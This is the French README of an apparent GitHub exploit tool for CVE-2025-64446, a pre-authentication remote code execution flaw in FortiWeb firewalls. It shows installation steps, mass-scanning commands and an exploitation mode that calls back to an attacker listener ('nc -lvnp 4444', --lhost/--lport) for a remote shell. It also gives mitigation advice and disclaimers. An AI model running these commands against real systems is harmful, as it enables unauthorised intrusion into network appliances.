Aperçu
FortiWeb Research Tool est un framework d'évaluation en Python pour la détection et l'analyse autorisées de la CVE-2025-64446, une vulnérabilité critique d'exécution de code à distance avant authentification affectant les appliances FortiWeb Web Application Firewall.
Fonctionnalités clés
Résumé de la vulnérabilité
Confirmez toujours les versions affectées et corrigées auprès de Fortinet PSIRT avant de définir le périmètre de l'intervention.
📸 Captures d'écran
| Utilisation | Résultats du scan |
|---|
 |  |
Installation
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit
python3 -m venv venv
source venv/bin/activate # Linux / macOS
# venv\Scripts\activate # Windows
pip install -r requirements.txt
python3 exploit.py --help
Dépendances
Optionnel (dev) : pytest, black, flake8, mypy, python-dotenv — voir requirements.txt.
Démarrage rapide
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10
# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
Remarque : Le mode exploitation requiert --lhost. Utilisez --detect-only ou --safe-mode lorsque vous n'envisagez pas d'exécuter la chaîne complète.
Guide d'utilisation
Mode détection
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30
La détection évalue l'accessibilité, les indices de version, l'exposition de l'API, les indicateurs de traversée de chemin, les signaux de contournement d'authentification et l'accessibilité des endpoints de téléversement. Le risque est classé Critique / Élevé / Moyen / Faible à partir de ces indicateurs.
Scan massif
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF
python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports
ScannerManager exécute les workers FortiWebScanner via un pool de threads, affiche un tableau récapitulatif Rich et écrit scan_report.json / scan_report.html.
Mode exploitation (laboratoires autorisés uniquement)
# Start your listener first (example)
nc -lvnp 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"
Fichier de configuration
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999
Les options CLI remplacent les valeurs chargées depuis le YAML.
Architecture
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics # dataclasses
├── LogManager # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay # Rich / colorama UI
├── FortiWebScanner # detect-only checks (no exploit chain)
├── ScannerManager # threaded multi-target scans + reports
├── FortiWebExploit # single-target detect / exploit workflow
└── main() # argparse + mode dispatch
| Composant | Responsabilité |
|---|
FortiWebScanner |
Flux général pour cible unique :
- Configuration de la bannière / journalisation
- Sonde d'accessibilité et de version
- Vérification des indicateurs (ou chaîne complète hors modes détection/sûr)
- Rapport JSON + HTML dans
reports/
- Nettoyage le cas échéant
Fonctionnalités
Détection
- Vérifications des indicateurs de traversée de chemin sur les chemins de l'API de gestion
- Vérifications des signaux de contournement d'authentification
- Sondage de la version FortiWeb sur les endpoints de statut/version courants
- Cartographie de l'exposition des endpoints de l'API
- Vérifications d'accessibilité des endpoints de téléversement de fichiers
- Score de risque à partir d'indicateurs combinés
Rapports et observabilité
- Rapports JSON et HTML horodatés
- Métriques par requête (statut, latence, taux de réussite)
- Journaux séparés :
exploit.log, errors.log, requests.log
Contrôles opérationnels
- Scan massif multi-threadé (
--threads)
- Prise en charge d'un proxy HTTP/HTTPS (ex. Burp)
- Nouvelles tentatives avec nombre d'essais et délai configurables (défauts : 3 / 2 s)
- User-Agent personnalisé, délai d'expiration, activation/désactivation de la vérification SSL (
--no-verify)
- Sortie console colorée via Colorama + Rich
Sortie générée
reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html
logs/
├── exploit.log
├── errors.log
└── requests.log
Exemple de rapport JSON (détection)
{
"metadata": {
"tool_name": "FortiWeb Research Tool",
"version": "1.0",
"author": "Sudeepa Wanigarathna",
"timestamp": "2026-07-31T00:02:17",
"mode": "detect"
},
"target": {
"url": "https://192.168.1.100:8443",
"reachable": true,
"version": "7.6.0",
"vulnerable": true,
"risk_level": "Critical"
},
"metrics": {
"total_requests": 12,
"average_response_time": 0.42,
"success_rate": 0.91
}
}
Référence CLI
python3 exploit.py [OPTIONS]
Structure du projet
.
├── exploit.py # Research tool (detect / scan / exploit)
├── config.yaml # Example configuration
├── requirements.txt # Python dependencies
├── reports/ # Generated JSON / HTML reports
├── logs/ # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md
Recommandations d'atténuation
- Mettez à niveau FortiWeb vers une version corrigée (7.6.7+, 7.8.7+, 8.0.2+ ou selon les recommandations PSIRT en vigueur).
- Restreignez les interfaces de gestion aux réseaux de confiance / hôtes de rebond.
- Surveillez l'activité de l'API d'authentification et de maintenance pour détecter tout accès anormal.
- Faites pivoter les identifiants et vérifiez l'intégrité après toute exposition confirmée.
- Relancez
--detect-only / --safe-mode après l'application du correctif pour valider la remédiation.
Avertissement légal et éthique
Cet outil est réservé aux tests de sécurité, à la recherche et à l'éducation autorisés.
- Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test
- Respectez la divulgation responsable et les règles des programmes de bug bounty
- Ne l'utilisez pas pour un accès non autorisé, des actions nuisibles ou des activités illégales
En utilisant ce logiciel, vous confirmez que vous disposez de l'autorisation requise, que vous n'en ferez pas un usage abusif et que vous acceptez l'entière responsabilité de vos actes. L'auteur décline toute responsabilité en cas d'usage abusif.
Voir SECURITY.md pour le signalement privé de vulnérabilités liées à ce projet.
Ressources
Contribution
- Forkez le dépôt
- Créez une branche :
git checkout -b feature/your-change
- Committez avec un message clair
- Poussez et ouvrez une Pull Request
Veuillez valider les modifications uniquement dans des environnements de laboratoire autorisés et évitez de committer des données de cibles réelles, des cookies ou des identifiants.
Licence
Licence MIT — voir LICENSE.
Copyright (c) 2026 Sudeepa Wanigarathna
Auteur et support
| |
|---|
| Auteur | Sudeepa Wanigarathna |
| Problèmes | Issues GitHub pour ce dépôt |
| Sécurité | Voir SECURITY.md · |
Recherche autorisée uniquement · FortiWeb CVE-2025-64446
Haut de page